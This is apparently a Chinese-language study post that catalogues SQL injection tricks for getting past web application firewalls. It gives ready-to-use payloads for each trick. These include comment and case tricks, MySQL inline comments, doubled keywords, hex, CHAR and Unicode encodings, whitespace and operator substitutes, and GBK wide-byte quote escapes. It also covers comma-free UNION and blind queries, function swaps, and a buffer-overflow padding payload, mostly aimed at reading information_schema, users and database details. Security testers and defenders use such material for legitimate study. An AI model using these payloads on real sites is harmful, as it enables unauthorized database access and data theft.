0%

sql绕waf姿势

学习一下sql绕waf的常用手法

注释符绕过

1.—空格:我们常用--+进行注释,因为+号通常被url解析为空格

2.#:#也可以注释后面的内容,也可以用%23替换

3./*注释内容*/:内联注释通常注释中间的部分,一前一后进行闭合,这种不太常用,但可以用于禁用空格的bypass

大小写绕过

当waf对大小写不敏感的时候可以使用,eg:uniOn selEct 1,2

内联注释绕过

把一些特有的仅在MYSQL上的语句放在 /*!语句*/ 中,这样的语句只会在mysql中有效,能够执行

union /*!select*/ 1,2,3

双写关键字绕过

有些waf将关键字select等使用replace()函数置换为空,这种可以使用双写关键字绕过:

union seselectlect 1,2

特殊编码绕过

1.十六进制绕过:

1
?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)--+

图片

2.ascii编码绕过:

1
users=CHAR(117)+CHAR(115)+CHAR(101)+CHAR(114)+CHAR(115)或者CHAR(117,115,101,114,115)

3.Unicode编码绕过

常用的几个符号的一些Unicode编码:

1
2
3
4
单引号: %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27%c0%a7、%e0%80%a7
空格:%u0020、%uff00、%c0%20%c0%a0、%e0%80%a0
左括号:%u0028、%uff08、%c0%28%c0%a8、%e0%80%a8
右括号:%u0029、%uff09、%c0%29%c0%a9、%e0%80%a9

空格过滤绕过

使用+号替代空格:例如,union+select+1,2,3
URL编码替代:%20(空格)、%09(水平制表符HT)、%0A(换行符LF)、%0C(换页符FF)、%0D(回车CR)、%0B(垂直制表符VT)、%A0(不间断空格NBS)
使用SQL注释符/**/替代空格,如:union/**/select
括号()替代空格:select(passwd)from(users)

过滤or and xor not 绕过

1
2
3
4
and = &&
or = ||
xor = |
not = !

过滤等号=绕过

1
2
3
4
5
6
7
8
9
10
1)不加通配符的like执行的效果和=一致,所以可以用来绕过。
eg:UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name like "users"
2)rlike:模糊匹配,只要字段的值中存在要查找的部分就会被选择出来,用来取代=时,rlike的用法和上面的like一样,没有通配符效果和=一样
eg:UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name rlike "users"
3)regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配
eg:UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name regexp "users"
4)使用大小于号来绕过
eg:select * from users where id > 1 and id < 3
5<> 等价于 !=,所以在前面再加一个!结果就是等号了
eg:select * from users where !(id <> 1)

过滤引号绕过

1)使用十六进制

eg:UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=0x61645F6C696E6B

2)宽字节,常用在web应用使用的字符集为GBK时,并且过滤了引号,就可以试试宽字节。%27表示 ‘(单引号),单引号会被转义成\’

eg:%E6’ union select 1,2 #

%df%27 union select 1,2,3 #

过滤逗号绕过

1.联合查询显注绕过逗号:

1
2
3
union select 1,2,3;
union select * from ((select 1)A join (select 2)B join (select 3)C);
union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);

2.盲注中逗号绕过

1
select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=114) ;

过滤函数绕过

1)sleep() —>benchmark()

MySQL有一个内置的BENCHMARK()函数,可以测试某些特定操作的执行速度。 参数可以是需要执行的次数和表达式。第一个参数是执行次数,第二个执行的表达式

eg:select 1,2 and benchmark(1000000000,1)

2)ascii()–>hex()、bin(),替代之后再使用对应的进制转string即可

3)group_concat()–>concat_ws(),第一个参数为分隔符

eg:mysql> select concat_ws(“,”,”str1”,”str2”)

4)substr(),substring(),mid()可以相互取代, 取子串的函数还有left(),right()

5)user() —> @@user、datadir–>@@datadir

6)ord()–>ascii():这两个函数在处理英文时效果一样,但是处理中文等时不一致

缓冲区溢出

缓冲区溢出用于对付WAF,有不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果WAF在处理测试向量时超出了其缓冲区长度,就会引发bug从而实现绕过

1
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

示例0xA*1000指0xA后面”A”重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里1000只做参考,在某些情况下可能不需要这么长也能溢出

参考文章:

SQL篇之SQL注入绕过姿势总结_sql注入如何绕过字符转义-CSDN博客

SQL注入—显注和盲注中过滤逗号绕过-CSDN博客